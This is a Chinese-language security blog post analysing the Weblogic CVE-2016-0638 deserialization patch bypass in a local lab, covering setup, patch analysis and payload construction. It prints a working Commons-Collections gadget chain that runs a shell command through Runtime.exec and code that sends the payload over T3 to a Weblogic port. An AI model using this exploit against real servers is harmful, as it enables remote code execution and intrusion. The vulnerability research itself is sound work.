<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Weblogic CVE-2016-0638反序列化漏洞

    VSole2021-08-30 17:58:31

    開始著手對Weblogic歷史漏洞進行剖析,周末分析了Weblogic歷史上的嚴重漏洞,一次針對CVE-2015-4852漏洞的補丁繞過。原理雖然簡單,但是時間太過久遠,一些關鍵點被歷史的長河淹沒。找了很多師傅們的博客文章,關于如何封裝之前的利用鏈,大多是用的https://github.com/5up3rc/weblogic_cmd中的現有功能。打算從補丁分析、補丁繞過、利用構造三大方面開始分析,揭開分析Weblogic漏洞的序幕。

    漏洞介紹

    該漏洞是早期Weblogic漏洞中經典的二次反序列化漏洞,主要利用該姿勢繞過CVE-2015-4852漏洞補丁。二次反序列化的點在weblogic.jms.common.StreamMessageImpl類的readExternal方法中,并且沒有使用ServerChannelInputStream中的反序列化功能,從一個全新的ObjectInputStream進行反序列化,從而繞過了黑名單的限制。

    環境搭建

    0x1 自動化搭建

    現成環境

    可以采用現成的docker環境,執行以下命令生成對應版本的docker

    docker run -d -p 7001:7001 -p 8453:8453 turkeys/weblogic:10.3.6

    自動搭建

    利用Docker自動化搭建,在github下載搭建代碼

    [https://github.com/BabyTeam1024/WeblogicAutoBuild.git](https://github.com/BabyTeam1024/WeblogicAutoBuild.git)

    本次實驗環境采用jdk7u21和weblogic 10.3.6.0,在jdk_use和weblogic_use文件夾下存放相對應版本的程序

    執行如下命令:

    ./WeblogicDockerBuild.shdocker-compose up -d
    

    0x2 配置調試環境

    腳本會自動開啟8453調試端口,配置idea并進行連接

    0x3 補丁安裝

    將下載好的補丁 p21984589_1036_Generic.zip 解壓放在/weblogic/oracle/middleware/utils/bsu/cache_dir 中

    后續進入/weblogic/oracle/middleware/utils/bsu 目錄進行補丁安裝,需注意安裝補丁時將java運行內存調整到合適大小

    cd /weblogic/oracle/middleware/utils/bsu./bsu.sh -prod_dir=/weblogic/oracle/middleware/wlserver/ -status=applied -verbose -view./bsu.sh -install -patch_download_dir=/weblogic/oracle/middleware/utils/bsu/cache_dir/ -patchlist=S8C2 -prod_dir=/weblogic/oracle/middleware/wlserver
    

    查看已安裝補丁

    補丁分析及繞過

    weblogic的補丁真是難找,找了半天總算是下到了 p21984589_1036_Generic

    0x1 補丁分析

    在補丁包中發現patch的代碼,具體jar包為BUG21984589_1036013.jar,補丁在resolveClass方法中添加了過濾函數,利用ClassFilter.isBlackListed函數進行黑名單過濾。

    黑名單攔截的Java類如下,上個漏洞的命令執行方法被堵死了,org.apache.commons.collections.functors和javassist以及xsltc.trax等類型被過濾。

    0x2 繞過思路

    因為補丁是在weblogic.rjvm.InboundMsgAbbrev.ServerChannelInputStream#resolveClass這里做的patch,我們只需要找到一處不使用ServerChannelInputStream進行的反序列化即可繞過黑名單的限制。CVE-2016-0638采用了weblogic.jms.common.StreamMessageImpl來繞過黑名單,該類繼承了Externalizable接口,重點關注在反序列化時執行的readExternal方法。

    在864行調用的readObject函數是在858行new出來的ObjectInputStream對象,因此沒有過濾機制。所以繞過思路就是將cve-2015-4852的poc封裝進this.payload中繞過黑名單,從而在var5調用readObject函數的時候觸發之前的反序列化漏洞。

    0x3 可行性分析

    那么這里到底能不能傳入我們可控的數據呢?需要進一步的研究分析,重點關注這里的this.payload變量是怎么來的

    this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);BufferInputStream var4 = this.payload.getInputStream();ObjectInputStream var5 = new ObjectInputStream(var4);...this.writeObject(var5.readObject());
    

    由StreamMessageImpl類的readExternal方法得知,this.payload為PayloadFactoryImpl.createPayload創建得到,該部分代碼如下

    createPayload函數中首先從InputStream流中獲取一個int類型的數據,之后將輸入流和int類型數據傳遞給copyPayloadFromStream函數。該部分代碼如下

    copyPayloadFromStream從反序列化獲取的長度和ChunkSize的2倍進行比較選出最小的那個,并和輸入流一起傳入到Chunk.createOneSharedChunk函數中進行如下操作,最后返回了一個包含指定長度輸入流的chunk塊。

    后續代碼如下,從創建的Chunk中獲取數據并進行反序列化。

    BufferInputStream var4 = this.payload.getInputStream();ObjectInputStream var5 = new ObjectInputStream(var4);this.writeObject(var5.readObject());
    

    因此從代碼層面講,只需在序列化的時候填充相應的數據就可以實現指定數據的二次反序列化,聽起來很神奇,下面看一看怎么構造利用代碼。

    Playload構造

    在網上找了半天關于這塊的分析,發現大佬們基本采用了該項目https://github.com/5up3rc/weblogic_cmd進行的利用,筆者打算參照該項目以及其他師傅們的項目思路從零構造利用代碼。完整代碼參見https://github.com/BabyTeam1024/CVE-2016-0638

    0x1 重寫StreamMessageImpl序列化方法

    需要修改StreamMessageImpl類的writeExternal代碼實現寫入自定義數據。再次分析readExternal的操作,提取出如下關鍵代碼:

    public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {    super.readExternal(var1);    var1.readByte();    var1.readInt();    var1.readObject();......    }
    

    我們需要做的就是在序列化的操作與反序列化中的操作對應起來。因此在序列化時需要實現如下代碼

    public void writeExternal(ObjectOutput paramObjectOutput) throws IOException {    super.writeExternal(paramObjectOutput);    paramObjectOutput.writeByte(1);    paramObjectOutput.writeInt(DataSize);    paramObjectOutput.write(DataBuffer);
    

    關于DataSize和DataBuffer的相關分析在上面的可行性分析中討論過。我們將StreamMessageImpl類代碼從jar包中提取出來,因此可以任意增刪代碼。可以刪除不必要的代碼(比如readExternal方法在序列化時不太需要),并添加如下關鍵代碼,為二次反序列化做準備

    public final byte[] getDataBuffer() {    return this.buffer;}
    public final int getDataSize() {    return this.length;}
    public final void setDataBuffer(byte[] var1, int var2) {    this.buffer = var1;    this.length = var2;}
    

    因為StreamMessageImpl繼承了抽象類MessageImpl,一些方法還不能刪除。

    0x2 導入依賴庫

    導入ysoserial中的permit-reflect-0.3.jar以及StreamMessageImpl中的一些必要依賴

    0x3 整合封裝

    首先將cc1鏈封裝成函數getObject

    public byte[] getObject() throws Exception {    Transformer[] transformers = new Transformer[] {        new ConstantTransformer(Runtime.class),        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),        new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"touch /tmp/D4ck"})        };    Transformer transformerChain = new ChainedTransformer(transformers);    final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);    String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";    final Constructor constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];    constructor.setAccessible(true);    InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
        final Map testMap = new HashMap();
        Map evilMap = (Map) Proxy.newProxyInstance(        testMap.getClass().getClassLoader(),        testMap.getClass().getInterfaces(),        secondInvocationHandler);    final Constructor ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0];    ctor.setAccessible(true);    final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);    byte[] serializeData=serialize(handler);    return serializeData;}
    

    之后在main函數中獲取構造好的利用對象并進行反序列化操作,接著賦值給StreamMessageImpl類的buffer對象,代碼如下。

    public static void main(String[] args) throws Exception {        byte[] payloadObject = new cve_2016_0638().getObject();        StreamMessageImpl streamMessage = new StreamMessageImpl();        streamMessage.setDataBuffer(payloadObject,payloadObject.length);        byte[] payload2 = Serializables.serialize(streamMessage);        T3ProtocolOperation.send("127.0.0.1", "7001", payload2);    }
    

    總結

    通過分析CVE-2016-0638學習到了構造反序列化漏洞payload的一些新方法,通過修改源碼實現我們設計的功能。在后續weblogic漏洞學習中還是重點分析從0到1的過程,以及學習一些不出網回顯利用和內存馬的編寫方式。

    參考文章

    https://y4er.com/post/weblogic-cve-2016-0638/

    https://paper.seebug.org/584/

    https://github.com/5up3rc/weblogic_cmd


    序列化weblogic
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    weblogic T3 attack&cve
    2023-03-29 10:07:32
    定義了固定的t3header和反序列化標志頭fe010000。RFC1700規定使用“大端”字節序為網絡字節序,所以對生成的payload使用>大端模式打包,I表示unsigned int。CVE-2016-0638復現需要打補丁,找不到懶得打了,簡單說一下繞過,不寫poc了黑名單列表為:+org.apache.c
    接到一個緊急測試任務,只有一個目標名稱和一個ip。這樣的話webshell的url就無法正常訪問了)帶上cookie即可正常連接。連接成功后,為了穩定webshell,我們嘗試將webshell寫入到根目錄和靜態文件的目錄,但是仍會受到強制跳轉的影響。于是將webshell內容寫入到了在登陸前就能訪問的jsp正常文件中,來穩定shell。
    通過common-collection相關gadget,想辦法調用org.mozilla.classfile.DefiningClassLoader這個類去加載字節碼。然后通過T3協議的反序列化漏洞發送給待攻擊weblogic服務器。
    Weblogic是美國Oracle公司出品的一個應用服務器(application server),確切的說是一個基于Java EE架構的中間件,是用于開發、集成、部署和管理大型分布式Web應用、網絡應用和 數據庫應用的Java應用服務器。 Weblogic將Java的動態功能和Java Enterprise標準的安全性引入大型網絡應用的開發、集成、部署和管理之中,是商業市場上主要的Java(J
    我記得大概是15年年底時,冰蝎作者rebeyond第一個公布出Weblogic T3反序列化回顯方法,而且給出了相關的代碼。早期的Weblogic序列化利用工具,為了實現T3協議回顯,都會向服務器上寫入一個臨時文件。
    WebLogic是用于開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器。
    4月17日,國家信息安全漏洞共享平臺(CNVD)公開了Weblogic序列化遠程代碼執行漏洞(CNVD-C-2019-48814/CVE-2019-2725),由于在反序列化處理輸入信息的過程中存在缺陷,未經授權的攻擊者可以發送精心構造的惡意 HTTP 請求,利用該漏洞可獲取服務器權限,實現遠程代碼執行。官方緊急補丁(CVE-2019-2725)已于4月26日發布。 近日,有消息稱CVE-201
    前言護網時平時遇到的針對weblogic等中間件漏洞利用以及漏洞掃描的很多,但是我看到某態勢的流量的時候發現態勢的探針的監測不單單是基于披露的poc或者exp來產生的告警。
    最近在網上看到有大佬公布了一個有意思的 Weblogic SSRF ,本質上其實是 Oracle JDBC Driver 中的類在反序列化操作時會自動發送 JDBC 連接,結合 Weblogic T3 反序列化操作就可以實現 SSRF。
    該漏洞是繼CVE-2015-4852、CVE-2016-0638、CVE-2016-3510之后的又一個重量級反序列化漏洞。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类